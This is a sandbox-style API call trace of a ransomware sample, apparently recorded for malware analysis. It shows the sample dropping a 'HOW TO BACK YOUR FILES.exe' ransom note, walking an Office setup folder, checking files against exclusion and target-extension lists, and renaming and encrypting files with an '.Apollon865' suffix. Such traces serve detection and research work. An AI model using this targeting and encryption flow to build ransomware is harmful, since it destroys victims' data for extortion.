	[0075.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.729] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.730] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.730] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.730] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x118
	[0075.732] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000
	[0075.733] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.733] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.733] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.734] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.734] CloseHandle (hObject=0x118) returned 1
	[0075.734] CloseHandle (hObject=0xc0) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.734] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.734] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.734] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0075.734] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR"
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1818 | out: hHeap=0x580000) returned 1
	[0075.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0075.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR") returned 88
	[0075.735] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR"
	[0075.735] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.735] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.740] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45364630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45364630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.741] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.741] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.741] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.741] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45364630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45364630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.741] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.741] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.741] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45364630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45364630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.741] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.741] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="..") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="windows") returned -1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootmgr") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="temp") returned -1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="pagefile.sys") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="boot") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ids.txt") returned 1
	[0075.741] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ntuser.dat") returned 1
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="perflogs") returned 1
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="MSBuild") returned 1
	[0075.742] lstrlenW (lpString="ProPlusrWW.XML") returned 14
	[0075.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*") returned 90
	[0075.742] lstrcpyW (in: lpString1=0x2d3e602, lpString2="ProPlusrWW.XML" | out: lpString1="ProPlusrWW.XML") returned="ProPlusrWW.XML"
	[0075.742] lstrlenW (lpString="ProPlusrWW.XML") returned 14
	[0075.742] lstrlenW (lpString="Apollon865") returned 10
	[0075.742] lstrcmpiW (lpString1="lusrWW.XML", lpString2="Apollon865") returned 1
	[0075.742] lstrlenW (lpString=".dll") returned 4
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".dll") returned 1
	[0075.742] lstrlenW (lpString=".lnk") returned 4
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".lnk") returned 1
	[0075.742] lstrlenW (lpString=".ini") returned 4
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".ini") returned 1
	[0075.742] lstrlenW (lpString=".sys") returned 4
	[0075.742] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".sys") returned 1
	[0075.742] lstrlenW (lpString="ProPlusrWW.XML") returned 14
	[0075.742] lstrlenW (lpString="bak") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.742] lstrlenW (lpString="ba_") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.742] lstrlenW (lpString="dbb") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.742] lstrlenW (lpString="vmdk") returned 4
	[0075.742] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.742] lstrlenW (lpString="rar") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.742] lstrlenW (lpString="zip") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.742] lstrlenW (lpString="tgz") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.742] lstrlenW (lpString="vbox") returned 4
	[0075.742] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.742] lstrlenW (lpString="vdi") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.742] lstrlenW (lpString="vhd") returned 3
	[0075.742] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.742] lstrlenW (lpString="vhdx") returned 4
	[0075.743] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.743] lstrlenW (lpString="avhd") returned 4
	[0075.743] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.743] lstrlenW (lpString="db") returned 2
	[0075.743] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.743] lstrlenW (lpString="db2") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.743] lstrlenW (lpString="db3") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.743] lstrlenW (lpString="dbf") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.743] lstrlenW (lpString="mdf") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.743] lstrlenW (lpString="mdb") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.743] lstrlenW (lpString="sql") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.743] lstrlenW (lpString="sqlite") returned 6
	[0075.743] lstrcmpiW (lpString1="WW.XML", lpString2="sqlite") returned 1
	[0075.743] lstrlenW (lpString="sqlite3") returned 7
	[0075.743] lstrcmpiW (lpString1="rWW.XML", lpString2="sqlite3") returned -1
	[0075.743] lstrlenW (lpString="sqlitedb") returned 8
	[0075.743] lstrcmpiW (lpString1="srWW.XML", lpString2="sqlitedb") returned 1
	[0075.743] lstrlenW (lpString="xml") returned 3
	[0075.743] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.743] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.Apollon865") returned 114
	[0075.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.744] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16852) returned 1
	[0075.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.745] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.745] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.745] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.746] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44e0, lpName=0x0) returned 0x118
	[0075.747] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44e0) returned 0x100000
	[0075.748] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.749] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.749] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.750] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.750] CloseHandle (hObject=0x118) returned 1
	[0075.750] CloseHandle (hObject=0x15c) returned 1
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.751] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.751] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0075.751] lstrcpyW (in: lpString1=0x2d3e602, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.751] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.751] lstrlenW (lpString="Apollon865") returned 10
	[0075.751] lstrlenW (lpString=".dll") returned 4
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.751] lstrlenW (lpString=".lnk") returned 4
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.751] lstrlenW (lpString=".ini") returned 4
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.751] lstrlenW (lpString=".sys") returned 4
	[0075.751] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.751] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.751] lstrlenW (lpString="bak") returned 3
	[0075.751] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.751] lstrlenW (lpString="ba_") returned 3
	[0075.751] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.751] lstrlenW (lpString="dbb") returned 3
	[0075.751] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.751] lstrlenW (lpString="vmdk") returned 4
	[0075.751] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.751] lstrlenW (lpString="rar") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.752] lstrlenW (lpString="zip") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.752] lstrlenW (lpString="tgz") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.752] lstrlenW (lpString="vbox") returned 4
	[0075.752] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.752] lstrlenW (lpString="vdi") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.752] lstrlenW (lpString="vhd") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.752] lstrlenW (lpString="vhdx") returned 4
	[0075.752] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.752] lstrlenW (lpString="avhd") returned 4
	[0075.752] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.752] lstrlenW (lpString="db") returned 2
	[0075.752] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.752] lstrlenW (lpString="db2") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.752] lstrlenW (lpString="db3") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.752] lstrlenW (lpString="dbf") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.752] lstrlenW (lpString="mdf") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.752] lstrlenW (lpString="mdb") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.752] lstrlenW (lpString="sql") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.752] lstrlenW (lpString="sqlite") returned 6
	[0075.752] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.752] lstrlenW (lpString="sqlite3") returned 7
	[0075.752] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.752] lstrlenW (lpString="sqlitedb") returned 8
	[0075.752] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.752] lstrlenW (lpString="xml") returned 3
	[0075.752] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.752] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.Apollon865") returned 109
	[0075.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.756] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=31094) returned 1
	[0075.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.756] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.757] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.757] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.757] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c80, lpName=0x0) returned 0x118
	[0075.758] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c80) returned 0x100000
	[0075.760] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.761] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.761] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
